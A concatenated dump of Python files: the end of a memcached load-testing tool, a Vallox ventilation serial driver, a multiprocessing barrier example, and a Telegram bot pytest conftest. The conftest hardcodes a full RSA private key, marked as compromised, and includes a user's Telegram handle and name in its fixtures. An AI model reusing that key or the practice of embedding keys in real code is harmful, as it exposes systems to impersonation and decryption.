doc_cache = {}
def gen_doc_string(key_num, key_str, min_value_size, suffix, json,
cache=None, key_name="key", suffix_ex="", whitespace=True):
global doc_cache
c = "{"
if not json:
c = "*"
d = None
if cache:
d = doc_cache.get(key_num, None)
if d is None:
d = """"%s":"%s",
"key_num":%s,
"name":"%s",
"email":"%s",
"city":"%s",
"country":"%s",
"realm":"%s",
"coins":%s,
"category":%s,
"achievements":%s,""" % (key_name, key_str,
key_num,
key_to_name(key_str),
key_to_email(key_str),
key_to_city(key_str),
key_to_country(key_str),
key_to_realm(key_str),
key_to_coins(key_str),
key_to_category(key_str),
key_to_achievements(key_str))
if not whitespace:
d = d.replace("\n ", "")
if cache:
doc_cache[key_num] = d
return "%s%s%s%s" % (c, d, suffix_ex, suffix)
# --------------------------------------------------------
PROTOCOL_STORE = {'memcached-ascii': StoreMemcachedAscii,
'memcached-binary': StoreMemcachedBinary,
'membase-binary': StoreMembaseBinary,
'none-binary': Store,
'none': Store}
def final_report(cur, store, total_time):
"""Report final stats"""
log.info(dict_to_s(cur))
if cur.get('cur-queries', 0):
total_cmds = cur.get('cur-queries', 0)
else:
total_cmds = cur.get('cur-gets', 0) + cur.get('cur-sets', 0)
log.info("ops/sec: %s" % (total_cmds / float(total_time)))
if store.errors:
log.warn("errors:\n%s", json.dumps(store.errors, indent=4))
def run(cfg, cur, protocol, host_port, user, pswd, stats_collector=None,
stores=None, ctl=None, heartbeat=0, why="", bucket="default", backups=None, collection=None):
if isinstance(cfg['min-value-size'], str):
cfg['min-value-size'] = string.split(cfg['min-value-size'], ",")
if not isinstance(cfg['min-value-size'], list):
cfg['min-value-size'] = [cfg['min-value-size']]
cfg['body'] = {}
cfg['suffix'] = {}
for i in range(len(cfg['min-value-size'])):
mvs = int(cfg['min-value-size'][i])
cfg['min-value-size'][i] = mvs
cfg['body'][mvs] = 'x'
while len(cfg['body'][mvs]) < mvs:
cfg['body'][mvs] = cfg['body'][mvs] + \
md5(str(len(cfg['body'][mvs]))).hexdigest()
cfg['suffix'][mvs] = "\"body\":\"" + cfg['body'][mvs] + "\"}"
ctl = ctl or {'run_ok': True}
threads = []
for i in range(cfg.get('threads', 1)):
store = None
if stores and i < len(stores):
store = stores[i]
if store is None:
store = PROTOCOL_STORE[protocol]()
log.debug("store: %s - %s" % (i, store.__class__))
store.connect(host_port, user, pswd, cfg, cur, bucket=bucket, backups=backups)
store.stats_collector(stats_collector)
threads.append(threading.Thread(target=run_worker,
args=(ctl, cfg, cur, store,
"thread-" + str(i) + ": ")))
store.show_some_keys()
if cfg.get("doc-cache", 0) > 0 and cfg.get("doc-gen", 0) > 0:
min_value_size = cfg['min-value-size'][0]
json = cfg.get('json', 1) > 0
cache = cfg.get('doc-cache', 0)
log.debug("doc-gen...")
gen_start = time.time()
for key_num in range(cfg.get("max-items", 0)):
key_str = prepare_key(key_num, cfg.get('prefix', ''))
store.gen_doc(key_num, key_str, min_value_size, json, cache)
gen_end = time.time()
log.debug("doc-gen...done (elapsed: %s, docs/sec: %s)" %
(gen_end - gen_start,
float(key_num) / (gen_end - gen_start)))
def stop_after(secs):
time.sleep(secs)
log.info("exiting because of stop_after time")
ctl['run_ok'] = False
if cfg.get('time', 0) > 0:
t = threading.Thread(target=stop_after, args=(cfg.get('time', 0),))
t.daemon = True
t.start()
t_start = time.time()
try:
if len(threads) <= 1:
run_worker(ctl, cfg, cur, store, "", heartbeat, why)
else:
for thread in threads:
thread.daemon = True
thread.start()
while threads:
threads[0].join(1)
threads = [t for t in threads if t.isAlive()]
except KeyboardInterrupt:
log.warn("exiting because of KeyboardInterrupt")
ctl['run_ok'] = False
t_end = time.time()
final_report(cur, store, total_time=t_end - t_start)
threads = [t for t in threads if t.isAlive()]
heartbeat = 0
while threads:
threads[0].join(1)
heartbeat += 1
if heartbeat >= 60:
heartbeat = 0
log.info("mcsoda is running with %s threads" % len(threads))
threads = [t for t in threads if t.isAlive()]
ctl['run_ok'] = False
if ctl.get('shutdown_event') is not None:
ctl['shutdown_event'].set()
log.info("%s stopped running." % why)
return cur, t_start, t_end
# --------------------------------------------------------
def main(argv, cfg_defaults=None, cur_defaults=None, protocol=None, stores=None,
extra_examples=None):
cfg_defaults = cfg_defaults or {
"prefix": ("", "Prefix for every item key."),
"max-ops": (0, "Max # of ops before exiting. 0 means keep going."),
"max-items": (-1, "Max # of items; default 100000."),
"max-creates": (-1, "Max # of creates; defaults to max-items."),
"min-value-size": ("10", "Min value size (bytes) for SET's; comma-separated."),
"ratio-sets": (0.1, "Fraction of requests that should be SET's."),
"ratio-creates": (0.1, "Fraction of SET's that should create new items."),
"ratio-misses": (0.05, "Fraction of GET's that should miss."),
"ratio-hot": (0.2, "Fraction of items to have as a hot item subset."),
"ratio-hot-sets": (0.95, "Fraction of SET's that hit the hot item subset."),
"ratio-hot-gets": (0.95, "Fraction of GET's that hit the hot item subset."),
"ratio-deletes": (0.0, "Fraction of SET updates that shold be DELETE's."),
"ratio-arpas": (0.0, "Fraction of SET non-DELETE'S to be 'a-r-p-a' cmds."),
"ratio-expirations": (0.0, "Fraction of SET's that use the provided expiration."),
"ratio-queries": (0.0, "Fraction of GET hits that should be queries."),
"expiration": (0, "Expiration time parameter for SET's"),
"exit-after-creates": (0, "Exit after max-creates is reached."),
"threads": (1, "Number of client worker threads to use."),
"batch": (100, "Batch/pipeline up this # of commands per server."),
"json": (1, "Use JSON documents. 0 to generate binary documents."),
"time": (0, "Stop after this many seconds if > 0."),
"max-ops-per-sec": (0, "When >0, max ops/second target performance."),
"report": (40000, "Emit performance output after this many requests."),
"histo-precision": (1, "Precision of histogram bins."),
"vbuckets": (0, "When >0, vbucket hash in memcached-binary protocol."),
"doc-cache": (1, "When 1, cache docs; faster, but uses O(N) memory."),
"doc-gen": (1, "When 1 and doc-cache, pre-generate docs at start."),
"backoff-factor": (2.0, "Exponential backoff factor on ETMPFAIL errors."),
"hot-shift": (0, "# of keys/sec that hot item subset should shift."),
"random": (0, "When 1, use random keys for gets and updates."),
"queries": ("", "Query templates; semicolon-separated."),
"socket-timeout": (0, "Used for socket.settimeout(), in seconds.")}
cur_defaults = cur_defaults or {
"cur-items": (0, "Number of items known to already exist."),
"cur-sets": (0, "Number of sets already done."),
"cur-creates": (0, "Number of sets that were creates."),
"cur-gets": (0, "Number of gets already done."),
"cur-deletes": (0, "Number of deletes already done."),
"cur-arpas": (0, "# of add/replace/prepend/append's (a-r-p-a) cmds."),
"cur-queries": (0, "Number of gets that were view/index queries."),
"cur-base": (0, "Base of numeric key range. 0 by default.")}
if len(argv) < 2 or "-h" in argv or "--help" in argv:
print("usage: %s [memcached[-binary|-ascii]://][user[:pswd]@]host[:port] [key=val]*\n" %
(argv[0]))
print(" default protocol = memcached-binary://")
print(" default port = 11211\n")
examples = ["examples:",
" %s membase://127.0.0.1:8091 max-items=1000000 json=1",
" %s memcached://127.0.0.1:11210 vbuckets=1024",
" %s memcached://127.0.0.1:11211",
" %s memcached-ascii://127.0.0.1:11211",
" %s memcached-binary://127.0.0.1:11211",
" %s 127.0.0.1:11211",
" %s 127.0.0.1",
" %s my-test-bucket@127.0.0.1",
" %s my-test-bucket:MyPassword@127.0.0.1",
" %s none://"]
if extra_examples:
examples = examples + extra_examples
for s in examples:
if s.find("%s") > 0:
print(s % (argv[0]))
else:
print(s)
print("")
print("optional key=val's and their defaults:")
for d in [cfg_defaults, cur_defaults]:
for k in sorted(d.iterkeys()):
print(" %s = %s %s" %
(string.ljust(k, 18), string.ljust(str(d[k][0]), 5), d[k][1]))
print("")
print(" TIP: min-value-size can be comma-separated values: min-value-size=10,256,1024")
print("")
sys.exit(-1)
cfg = {}
cur = {}
err = {}
for (o, d) in [(cfg, cfg_defaults), (cur, cur_defaults)]: # Parse key=val pairs.
for (dk, dv) in d.iteritems():
o[dk] = dv[0]
for kv in argv[2:]:
s = (kv + '=').split('=')[0:-1]
k = s[0]
v = '='.join(s[1:])
if k and v and k in o:
if not isinstance(o[k], str):
try:
v = ({'y': '1', 'n': '0'}).get(v, v)
for parse in [float, int]:
if str(parse(v)) == v:
v = parse(v)
except:
err[kv] = err.get(kv, 0) + 1
o[k] = v
else:
err[kv] = err.get(kv, 0) + 1
for kv in err:
if err[kv] > 1:
log.error("problem parsing key=val option: " + kv)
for kv in err:
if err[kv] > 1:
sys.exit(-1)
if cfg.get('max-items', 0) < 0 and cfg.get('max-creates', 0) < 0:
cfg['max-items'] = 100000
if cfg.get('max-items', 0) < 0:
cfg['max-items'] = cfg.get('max-creates', 0)
if cfg.get('max-creates', 0) < 0:
cfg['max-creates'] = cfg.get('max-items', 0)
for o in [cfg, cur]:
for k in sorted(o.iterkeys()):
log.info(" %s = %s" % (string.ljust(k, 20), o[k]))
protocol = protocol or '-'.join(((["memcached"] +
argv[1].split("://"))[-2] + "-binary").split('-')[0:2])
host_port = ('@' + argv[1].split("://")[-1]).split('@')[-1] + ":11211"
user, pswd = (('@' + argv[1].split("://")[-1]).split('@')[-2] + ":").split(':')[0:2]
cfg["timing-suffixes"] = [""]
run(cfg, cur, protocol, host_port, user, pswd, stores=stores)
if __name__ == "__main__":
main(sys.argv)
|
valloxserial.py | import logging
import serial
import time
import threading
class ValloxSerial:
system = b'\x01'
sender = b'\x22'
destinations = {
'host': b'\x11',
'remote_broadcast': b'\x20',
}
commands = {
'speed': b'\x29',
'intake_temp': b'\x5b',
}
# There are wrong temp variables in spec:
# Proper variables: 5a 5b 5c 58, Remote control shows 5b
values = {
'speed': {
1: b'\x01',
2: b'\x03',
3: b'\x07',
4: b'\x0f',
5: b'\x1f',
6: b'\x3f',
7: b'\x7f',
8: b'\xff',
},
}
timeout = 0.05
def __init__(self):
self.ser = serial.Serial('/dev/ttyUSB0', 9600, timeout=0.02)
self.checksum_byte = None
self.lock = threading.RLock()
def get_request_data(self, destination, command):
request_data = self.system \
+ self.sender \
+ self.destinations[destination] \
+ bytes((0,)) \
+ self.commands[command]
request_data += self.get_checksum(request_data)
return request_data
def get_control_data(self, destination, command, value):
control_data = self.system \
+ self.sender \
+ self.destinations[destination] \
+ self.commands[command] \
+ self.values[command][value]
control_data += self.get_checksum(control_data)
return control_data
def get_checksum(self, serial_data):
checksum = 0
for byte in serial_data:
checksum += byte
checksum = checksum & 0xff
return bytes((checksum,))
def reset(self):
self.ser.reset_input_buffer()
self.ser.reset_output_buffer()
def set_speed(self, speed):
control_data = self.get_control_data('host', 'speed', speed)
with self.lock:
self.reset()
self.ser.write(control_data)
self.listen_ack(control_data[-1], speed)
def listen_ack(self, checksum, state):
listen_thread = threading.Thread(target=self.run, args=(checksum, state))
listen_thread.start()
def inform_remotes(self, speed):
control_data = self.get_control_data('remote_broadcast', 'speed', speed)
self.ser.write(control_data)
def run(self, checksum, state):
if not self.wait_for_ack(checksum):
logging.error('Missing ack')
return
self.control.state = state
self.inform_remotes(state)
def wait_for_ack(self, checksum):
started = time.monotonic()
while time.monotonic() < started + self.timeout:
if self.wait_for_response(1)[0] == checksum:
return True
logging.error('Discarding invalid ack')
return False
def wait_for_response(self, length=None):
with self.lock:
data = b''
started = time.monotonic()
while time.monotonic() < started + self.timeout:
while self.ser.in_waiting:
data += self.ser.read()
if len(data) == 0:
continue
elif length and len(data) == length:
# Length based data (e.g. ACK)
return data
elif not length and data[0] != self.system[0]:
logging.error('Flushing data %s %d', data, len(data))
data = b''
continue
checksum = self.get_checksum(data[0:-1])[0]
if checksum == data[-1]:
return data
logging.error('timeout')
return data
def ask_vallox(self, attribute):
req_data = self.get_request_data('host', attribute)
with self.lock:
self.reset()
self.ser.write(req_data)
data = self.wait_for_response()
if len(data) == 6:
return data[4]
return None
vallox_serial = ValloxSerial()
|
processes_barrier.py | #Synchronize processes with barrier – Chapter 3: Process Based Parallelism
import multiprocessing
from multiprocessing import Barrier, Lock, Process
from time import time
from datetime import datetime
def test_with_barrier(synchronizer, serializer):
name = multiprocessing.current_process().name
synchronizer.wait()
now = time()
with serializer:
print("process %s ----> %s" \
%(name,datetime.fromtimestamp(now)))
def test_without_barrier():
name = multiprocessing.current_process().name
now = time()
print("process %s ----> %s" \
%(name ,datetime.fromtimestamp(now)))
if __name__ == '__main__':
synchronizer = Barrier(2)
serializer = Lock()
Process(name='p1 - test_with_barrier'\
,target=test_with_barrier,\
args=(synchronizer,serializer)).start()
Process(name='p2 - test_with_barrier'\
,target=test_with_barrier,\
args=(synchronizer,serializer)).start()
Process(name='p3 - test_without_barrier'\
,target=test_without_barrier).start()
Process(name='p4 - test_without_barrier'\
,target=test_without_barrier).start()
|
conftest.py | #!/usr/bin/env python
#
# A library that provides a Python interface to the Telegram Bot API
# Copyright (C) 2015-2021
# Leandro Toledo de Souza <devs@python-telegram-bot.org>
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Lesser Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Lesser Public License for more details.
#
# You should have received a copy of the GNU Lesser Public License
# along with this program. If not, see [http://www.gnu.org/licenses/].
import datetime
import functools
import inspect
import os
import re
from collections import defaultdict
from queue import Queue
from threading import Thread, Event
from time import sleep
from typing import Callable, List, Iterable, Any
import pytest
import pytz
from telegram import (
Message,
User,
Chat,
MessageEntity,
Update,
InlineQuery,
CallbackQuery,
ShippingQuery,
PreCheckoutQuery,
ChosenInlineResult,
File,
ChatPermissions,
Bot
)
from telegram.ext import (
Dispatcher,
JobQueue,
Updater,
MessageFilter,
Defaults,
UpdateFilter,
ExtBot,
)
from telegram.error import BadRequest
from telegram.utils.helpers import DefaultValue, DEFAULT_NONE
from .bots import get_bot
# This is here instead of in setup.cfg due to https://github.com/pytest-dev/pytest/issues/8343
def pytest_runtestloop(session):
session.add_marker(
pytest.mark.filterwarnings('ignore::telegram.utils.deprecate.TelegramDeprecationWarning')
)
TOKEN = os.environ['API_TOKEN']
GITHUB_ACTION = os.getenv('GITHUB_ACTION', False)
if GITHUB_ACTION:
pytest_plugins = ['tests.plugin_github_group']
# THIS KEY IS OBVIOUSLY COMPROMISED
# DO NOT USE IN PRODUCTION!
PRIVATE_KEY = b"-----BEGIN RSA PRIVATE KEY-----\r\nMIIEowIBAAKCAQEA0AvEbNaOnfIL3GjB8VI4M5IaWe+GcK8eSPHkLkXREIsaddum\r\nwPBm/+w8lFYdnY+O06OEJrsaDtwGdU//8cbGJ/H/9cJH3dh0tNbfszP7nTrQD+88\r\nydlcYHzClaG8G+oTe9uEZSVdDXj5IUqR0y6rDXXb9tC9l+oSz+ShYg6+C4grAb3E\r\nSTv5khZ9Zsi/JEPWStqNdpoNuRh7qEYc3t4B/a5BH7bsQENyJSc8AWrfv+drPAEe\r\njQ8xm1ygzWvJp8yZPwOIYuL+obtANcoVT2G2150Wy6qLC0bD88Bm40GqLbSazueC\r\nRHZRug0B9rMUKvKc4FhG4AlNzBCaKgIcCWEqKwIDAQABAoIBACcIjin9d3Sa3S7V\r\nWM32JyVF3DvTfN3XfU8iUzV7U+ZOswA53eeFM04A/Ly4C4ZsUNfUbg72O8Vd8rg/\r\n8j1ilfsYpHVvphwxaHQlfIMa1bKCPlc/A6C7b2GLBtccKTbzjARJA2YWxIaqk9Nz\r\nMjj1IJK98i80qt29xRnMQ5sqOO3gn2SxTErvNchtBiwOH8NirqERXig8VCY6fr3n\r\nz7ZImPU3G/4qpD0+9ULrt9x/VkjqVvNdK1l7CyAuve3D7ha3jPMfVHFtVH5gqbyp\r\nKotyIHAyD+Ex3FQ1JV+H7DkP0cPctQiss7OiO9Zd9C1G2OrfQz9el7ewAPqOmZtC\r\nKjB3hUECgYEA/4MfKa1cvaCqzd3yUprp1JhvssVkhM1HyucIxB5xmBcVLX2/Kdhn\r\nhiDApZXARK0O9IRpFF6QVeMEX7TzFwB6dfkyIePsGxputA5SPbtBlHOvjZa8omMl\r\nEYfNa8x/mJkvSEpzvkWPascuHJWv1cEypqphu/70DxubWB5UKo/8o6cCgYEA0HFy\r\ncgwPMB//nltHGrmaQZPFT7/Qgl9ErZT3G9S8teWY4o4CXnkdU75tBoKAaJnpSfX3\r\nq8VuRerF45AFhqCKhlG4l51oW7TUH50qE3GM+4ivaH5YZB3biwQ9Wqw+QyNLAh/Q\r\nnS4/Wwb8qC9QuyEgcCju5lsCaPEXZiZqtPVxZd0CgYEAshBG31yZjO0zG1TZUwfy\r\nfN3euc8mRgZpSdXIHiS5NSyg7Zr8ZcUSID8jAkJiQ3n3OiAsuq1MGQ6kNa582kLT\r\nFPQdI9Ea8ahyDbkNR0gAY9xbM2kg/Gnro1PorH9PTKE0ekSodKk1UUyNrg4DBAwn\r\nqE6E3ebHXt/2WmqIbUD653ECgYBQCC8EAQNX3AFegPd1GGxU33Lz4tchJ4kMCNU0\r\nN2NZh9VCr3nTYjdTbxsXU8YP44CCKFG2/zAO4kymyiaFAWEOn5P7irGF/JExrjt4\r\nibGy5lFLEq/HiPtBjhgsl1O0nXlwUFzd7OLghXc+8CPUJaz5w42unqT3PBJa40c3\r\nQcIPdQKBgBnSb7BcDAAQ/Qx9juo/RKpvhyeqlnp0GzPSQjvtWi9dQRIu9Pe7luHc\r\nm1Img1EO1OyE3dis/rLaDsAa2AKu1Yx6h85EmNjavBqP9wqmFa0NIQQH8fvzKY3/\r\nP8IHY6009aoamLqYaexvrkHVq7fFKiI6k8myMJ6qblVNFv14+KXU\r\n-----END RSA PRIVATE KEY-----" # noqa: E501
def env_var_2_bool(env_var: object) -> bool:
if isinstance(env_var, bool):
return env_var
if not isinstance(env_var, str):
return False
return env_var.lower().strip() == 'true'
@pytest.fixture(scope='session')
def bot_info():
return get_bot()
@pytest.fixture(scope='session')
def bot():
return Bot(TOKEN)
# def bot(bot_info):
# class DictExtBot(
# ExtBot
# ): # Subclass Bot to allow monkey patching of attributes and functions, would
# pass # come into effect when we __dict__ is dropped from slots
# return DictExtBot(bot_info['token'], private_key=PRIVATE_KEY)
DEFAULT_BOTS = {}
@pytest.fixture(scope='function')
def default_bot(request, bot_info):
param = request.param if hasattr(request, 'param') else {}
defaults = Defaults(**param)
default_bot = DEFAULT_BOTS.get(defaults)
if default_bot:
return default_bot
default_bot = make_bot(bot_info, **{'defaults': defaults})
DEFAULT_BOTS[defaults] = default_bot
return default_bot
@pytest.fixture(scope='function')
def tz_bot(timezone, bot_info):
defaults = Defaults(tzinfo=timezone)
default_bot = DEFAULT_BOTS.get(defaults)
if default_bot:
return default_bot
default_bot = make_bot(bot_info, **{'defaults': defaults})
DEFAULT_BOTS[defaults] = default_bot
return default_bot
@pytest.fixture(scope='session')
def chat_id(bot_info):
return bot_info['chat_id']
@pytest.fixture(scope='session')
def super_group_id(bot_info):
return bot_info['super_group_id']
@pytest.fixture(scope='session')
def channel_id(bot_info):
return bot_info['channel_id']
@pytest.fixture(scope='session')
def provider_token(bot_info):
return bot_info['payment_provider_token']
def create_dp(bot):
# Dispatcher is heavy to init (due to many threads and such) so we have a single session
# scoped one here, but before each test, reset it (dp fixture below)
dispatcher = Dispatcher(bot, Queue(), job_queue=JobQueue(), workers=2, use_context=False)
dispatcher.job_queue.set_dispatcher(dispatcher)
thr = Thread(target=dispatcher.start)
thr.start()
sleep(2)
yield dispatcher
sleep(1)
if dispatcher.running:
dispatcher.stop()
thr.join()
@pytest.fixture(scope='class')
def correctStartCommandGroupUpdate():
return {'update_id': 916267451,
'message': {
'supergroup_chat_created': False,
'group_chat_created': False,
'chat': {
'id': -447010025,
'all_members_are_administrators': True,
'type': 'group',
'title': 'orbital 2021'
},
'entities': [{
'length': 20,
'offset': 0,
'type': 'bot_command'
}],
'delete_chat_photo': False,
'date': 1623306802,
'channel_chat_created': False,
'text': '/start@OwePayTestbot',
'photo': [],
'message_id': 2907,
'new_chat_members': [],
'new_chat_photo': [],
'caption_entities': [],
'from': {
'username': 'startGroupTest',
'first_name': 'test',
'id': 456,
'language_code': 'en',
'is_bot': False
}
}
}
@pytest.fixture(scope='class')
def wrongStartCommandGroupIDUpdate():
return {'update_id': 916267451,
'message': {
'supergroup_chat_created': False,
'group_chat_created': False,
'chat': {
'id': 110333025,
'all_members_are_administrators': True,
'type': 'group',
'title': 'orbital 2021'
},
'entities': [{
'length': 20,
'offset': 0,
'type': 'bot_command'
}],
'delete_chat_photo': False,
'date': 1623306802,
'channel_chat_created': False,
'text': '/start@OwePayTestbot',
'photo': [],
'message_id': 2907,
'new_chat_members': [],
'new_chat_photo': [],
'caption_entities': [],
'from': {
'username': 'startGroupTest',
'first_name': 'test',
'id': 456,
'language_code': 'en',
'is_bot': False
}
}
}
@pytest.fixture(scope='class')
def correctStartCommandPrivateUpdate():
return {'message': {
'photo': [],
'date': 1623312815,
'message_id': 3010,
'channel_chat_created': False,
'entities': [{
'offset': 0,
'type': 'bot_command',
'length': 6
}],
'new_chat_members': [],
'supergroup_chat_created': False,
'delete_chat_photo': False,
'text': '/start',
'group_chat_created': False,
'caption_entities': [],
'chat': {
'type': 'private',
'id': os.environ['PRIVATE_ID'],
'username':
'jianoway',
'first_name':
'Jian Wei'
},
'new_chat_photo': [],
'from': {
'language_code': 'en',
'id': os.environ['PRIVATE_ID'],
'first_name': 'Jian Wei',
'username': 'jianoway',
'is_bot': False
}},
'update_id': 916267500}
@pytest.fixture(scope='class')
def wrongStartCommandPrivateIDUpdate():
return {'message': {
'photo': [],
'date': 1623312815,
'message_id': 3010,
'channel_chat_created': False,
'entities': [{
'offset': 0,
'type': 'bot_command',
'length': 6
}],
'new_chat_members': [],
'supergroup_chat_created': False,
'delete_chat_photo': False,
'text': '/start',
'group_chat_created': False,
'caption_entities': [],
'chat': {
'type': 'private',
'id': 123456,
'username':
'jianoway',
'first_name':
'Jian Wei'
},
'new_chat_photo': [],
'from': {
'language_code': 'en',
'id': 123456,
'first_name': 'Jian Wei',
'username': 'jianoway',
'is_bot': False
}},
'update_id': 916267500}
@pytest.fixture(scope='session')
def _dp(bot):
yield from create_dp(bot)
@pytest.fixture(scope='function')
def dp(_dp):
# Reset the dispatcher first
while not _dp.update_queue.empty():
_dp.update_queue.get(False)
_dp.chat_data = defaultdict(dict)
_dp.user_data = defaultdict(dict)
_dp.bot_data = {}
_dp.persistence = None
_dp.handlers = {}
_dp.groups = []
_dp.error_handlers = {}
# For some reason if we setattr with the name mangled, then some tests(like async) run forever,
# due to threads not acquiring, (blocking). This adds these attributes to the __dict__.
object.__setattr__(_dp, '__stop_event', Event())
object.__setattr__(_dp, '__exception_event', Event())
object.__setattr__(_dp, '__async_queue', Queue())
object.__setattr__(_dp, '__async_threads', set())
_dp.persistence = None
_dp.use_context = False
if _dp._Dispatcher__singleton_semaphore.acquire(blocking=0):
Dispatcher._set_singleton(_dp)
yield _dp
Dispatcher._Dispatcher__singleton_semaphore.release()
@pytest.fixture(scope='function')
def cdp(dp):
dp.use_context = True
yield dp
dp.use_context = False
@pytest.fixture(scope='function')
def updater(bot):
up = Updater(bot=bot, workers=2, use_context=False)
yield up
if up.running:
up.stop()
@pytest.fixture(scope='function')
def thumb_file():
f = open('tests/data/thumb.jpg', 'rb')
yield f
f.close()
@pytest.fixture(scope='class')
def class_thumb_file():
f = open('tests/data/thumb.jpg', 'rb')
yield f
f.close()
def pytest_configure(config):
config.addinivalue_line('filterwarnings', 'ignore::ResourceWarning')
# TODO: Write so good code that we don't need to ignore ResourceWarnings anymore
def make_bot(bot_info, **kwargs):
"""
Tests are executed on tg.ext.ExtBot, as that class only extends the functionality of tg.bot
"""
return ExtBot(bot_info['token'], private_key=PRIVATE_KEY, **kwargs)
CMD_PATTERN = re.compile(r'/[\da-z_]{1,32}(?:@\w{1,32})?')
DATE = datetime.datetime.now()
def make_message(text, **kwargs):
"""
Testing utility factory to create a fake ``telegram.Message`` with
reasonable defaults for mimicking a real message.
:param text: (str) message text
:return: a (fake) ``telegram.Message``
"""
return Message(
message_id=1,
from_user=kwargs.pop('user', User(id=1, first_name='', is_bot=False)),
date=kwargs.pop('date', DATE),
chat=kwargs.pop('chat', Chat(id=1, type='')),
text=text,
bot=kwargs.pop('bot', make_bot(get_bot())),
**kwargs,
)
def make_command_message(text, **kwargs):
"""
Testing utility factory to create a message containing a single telegram
command.
Mimics the Telegram API in that it identifies commands within the message
and tags the returned ``Message`` object with the appropriate ``MessageEntity``
tag (but it does this only for commands).
:param text: (str) message text containing (or not) the command
:return: a (fake) ``telegram.Message`` containing only the command
"""
match = re.search(CMD_PATTERN, text)
entities = (
[
MessageEntity(
type=MessageEntity.BOT_COMMAND, offset=match.start(0), length=len(match.group(0))
)
]
if match
else []
)
return make_message(text, entities=entities, **kwargs)
def make_message_update(message, message_factory=make_message, edited=False, **kwargs):
"""
Testing utility factory to create an update from a message, as either a
``telegram.Message`` or a string. In the latter case ``message_factory``
is used to convert ``message`` to a ``telegram.Message``.
:param message: either a ``telegram.Message`` or a string with the message text
:param message_factory: function to convert the message text into a ``telegram.Message``
:param edited: whether the message should be stored as ``edited_message`` (vs. ``message``)
:return: ``telegram.Update`` with the given message
"""
if not isinstance(message, Message):
message = message_factory(message, **kwargs)
update_kwargs = {'message' if not edited else 'edited_message': message}
return Update(0, **update_kwargs)
def make_command_update(message, edited=False, **kwargs):
"""
Testing utility factory to create an update from a message that potentially
contains a command. See ``make_command_message`` for more details.
:param message: message potentially containing a command
:param edited: whether the message should be stored as ``edited_message`` (vs. ``message``)
:return: ``telegram.Update`` with the given message
"""
return make_message_update(message, make_command_message, edited, **kwargs)
@pytest.fixture(
scope='class',
params=[{'class': MessageFilter}, {'class': UpdateFilter}],
ids=['MessageFilter', 'UpdateFilter'],
)
def mock_filter(request):
class MockFilter(request.param['class']):
def __init__(self):
self.tested = False
def filter(self, _):
self.tested = True
return MockFilter()
def get_false_update_fixture_decorator_params():
message = Message(1, DATE, Chat(1, ''), from_user=User(1, '', False), text='test')
params = [
{'callback_query': CallbackQuery(1, User(1, '', False), 'chat', message=message)},
{'channel_post': message},
{'edited_channel_post': message},
{'inline_query': InlineQuery(1, User(1, '', False), '', '')},
{'chosen_inline_result': ChosenInlineResult('id', User(1, '', False), '')},
{'shipping_query': ShippingQuery('id', User(1, '', False), '', None)},
{'pre_checkout_query': PreCheckoutQuery('id', User(1, '', False), '', 0, '')},
{'callback_query': CallbackQuery(1, User(1, '', False), 'chat')},
]
ids = tuple(key for kwargs in params for key in kwargs)
return {'params': params, 'ids': ids}
@pytest.fixture(scope='function', **get_false_update_fixture_decorator_params())
def false_update(request):
return Update(update_id=1, **request.param)
@pytest.fixture(params=['Europe/Berlin', 'Asia/Singapore', 'UTC'])
def tzinfo(request):
return pytz.timezone(request.param)
@pytest.fixture()
def timezone(tzinfo):
return tzinfo
@pytest.fixture()
def mro_slots():
def _mro_slots(_class):
return [
attr
for cls in _class.__class__.__mro__[:-1]
if hasattr(cls, '__slots__') # ABC doesn't have slots in py 3.7 and below
for attr in cls.__slots__
if attr != '__dict__'
]
return _mro_slots
def expect_bad_request(func, message, reason):
"""
Wrapper for testing bot functions expected to result in an :class:`telegram.error.BadRequest`.
Makes it XFAIL, if the specified error message is present.
Args:
func: The callable to be executed.
message: The expected message of the bad request error. If another message is present,
the error will be reraised.
reason: Explanation for the XFAIL.
Returns:
On success, returns the return value of :attr:`func`
"""
try:
return func()
except BadRequest as e:
if message in str(e):
pytest.xfail(f'{reason}. {e}')
else:
raise e
def check_shortcut_signature(
shortcut: Callable,
bot_method: Callable,
shortcut_kwargs: List[str],
additional_kwargs: List[str],
) -> bool:
"""
Checks that the signature of a shortcut matches the signature of the underlying bot method.
Args:
shortcut: The shortcut, e.g. :meth:`telegram.Message.reply_text`
bot_method: The bot method, e.g. :meth:`telegram.Bot.send_message`
shortcut_kwargs: The kwargs passed by the shortcut directly, e.g. ``chat_id``
additional_kwargs: Additional kwargs of the shortcut that the bot method doesn't have, e.g.
``quote``.
Returns:
:obj:`bool`: Whether or not the signature matches.
"""
shortcut_sig = inspect.signature(shortcut)
effective_shortcut_args = set(shortcut_sig.parameters.keys()).difference(additional_kwargs)
effective_shortcut_args.discard('self')
bot_sig = inspect.signature(bot_method)
expected_args = set(bot_sig.parameters.keys()).difference(shortcut_kwargs)
expected_args.discard('self')
args_check = expected_args == effective_shortcut_args
if not args_check:
raise Exception(f'Expected arguments {expected_args}, got {effective_shortcut_args}')
# TODO: Also check annotation of return type. Would currently be a hassle b/c typing doesn't
# resolve `ForwardRef('Type')` to `Type`. For now we rely on MyPy, which probably allows the
# shortcuts to return more specific types than the bot method, but it's only annotations after
# all
for kwarg in effective_shortcut_args:
if bot_sig.parameters[kwarg].annotation != shortcut_sig.parameters[kwarg].annotation:
if isinstance(bot_sig.parameters[kwarg].annotation, type):
if bot_sig.parameters[kwarg].annotation.__name__ != str(
shortcut_sig.parameters[kwarg].annotation
):
raise Exception(
f'For argument {kwarg} I expected {bot_sig.parameters[kwarg].annotation}, '
f'but got {shortcut_sig.parameters[kwarg].annotation}'
)
else:
raise Exception(
f'For argument {kwarg} I expected {bot_sig.parameters[kwarg].annotation}, but '
f'got {shortcut_sig.parameters[kwarg].annotation}'
)
bot_method_sig = inspect.signature(bot_method)
shortcut_sig = inspect.signature(shortcut)
for arg in expected_args:
if not shortcut_sig.parameters[arg].default == bot_method_sig.parameters[arg].default:
raise Exception(
f'Default for argument {arg} does not match the default of the Bot method.'
)
return True
def check_shortcut_call(
shortcut_method: Callable,
bot: ExtBot,
bot_method_name: str,
skip_params: Iterable[str] = None,
shortcut_kwargs: Iterable[str] = None,
) -> bool:
"""
Checks that a shortcut passes all the existing arguments to the underlying bot method. Use as::
assert check_shortcut_call(message.reply_text, message.bot, 'send_message')
